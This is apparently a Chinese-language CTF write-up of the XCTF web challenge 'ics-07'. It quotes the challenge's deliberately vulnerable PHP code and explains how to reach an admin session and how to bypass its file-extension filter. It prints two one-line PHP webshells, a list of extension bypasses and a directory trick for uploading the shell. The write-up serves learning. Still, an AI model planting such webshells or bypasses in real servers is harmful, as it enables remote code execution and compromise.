<?php
session_start();if (!isset($_GET[page])) {show_source(__FILE__);die();
}if (isset($_GET[page]) && $_GET[page] != 'index.php') {include('flag.php');
}else {header('Location: ?page=flag.php');
}
<?phpif ($_SESSION['admin']) {$con = $_POST['con'];$file = $_POST['file'];$filename = "backup/".$file;if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){die("Bad file extension");}else{chdir('uploaded');$f = fopen($filename, 'w');fwrite($f, $con);fclose($f);}}
?> //文件上传
(1)if ($_SESSION['admin']):判断 session 中的 admin 是否有值。有的话就继续向下执行。
session 的工作机制是:为每个访客创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,或者通过 URL 进行传导。 用于存储关于用户会话的信息。
(2) preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename):
.+
:匹配一个或多个任意字符
匹配 ".php"、".php3"、".php4"、".php5"、".php7"、".phpt" 或 ".phtml" 结尾的文件名 。
chdir() 函数:改变当前的目录。
<?phpif (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {include 'config.php';$id = mysql_real_escape_string($_GET[id]);$sql="select * from cetc007.user where id='$id'";$result = mysql_query($sql);$result = mysql_fetch_object($result);} else {$result = False;die();}if(!$result)die("<br >something wae wrong ! <br>");if($result){echo "id: ".$result->id."</br>";echo "name:".$result->user."</br>";$_SESSION['admin'] = True;}
?> //如果查询正确,会得到一个admin的session
(1)floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9':
floatval为浮点数,肯定与字符串不相等;第一个要为1,最后一个数字要为9。
floatval 函数:
用于获取变量的浮点值。从左到右,碰到不是数字(第一个小数点可以)就截止。
mysqli_real_escape_string() 函数:
转义在 SQL 语句中使用的字符串中的特殊字符。去掉双引号、单引号,防止sql注入。
php文件后缀绕过:
(1)php的解释器绕过
php、php3、php4、php5、php7、phtml、pht、phs、shtml、pwml
(2)apache2.x解析漏洞(从右至左找)
1.php.1 或者 1.php/.
/.表示调用1.php文件本身 。一个点调用最后面的文件,两个点调用第一个文件。
一句话木马:
<?php @preg_replace("/abcde/e", $_POST['a'], "abcdefg");?>
<?php eval($_POST['a']) ?>
下面考虑如何上传木马文件。这里利用Linux的一个目录结构特性。我们递归的在1.php文件夹中再创建2.php,访问1.php/2.php/..进入的是1.php文件夹
Web安全攻防世界09 ics-07(XCTF)-CSDN博客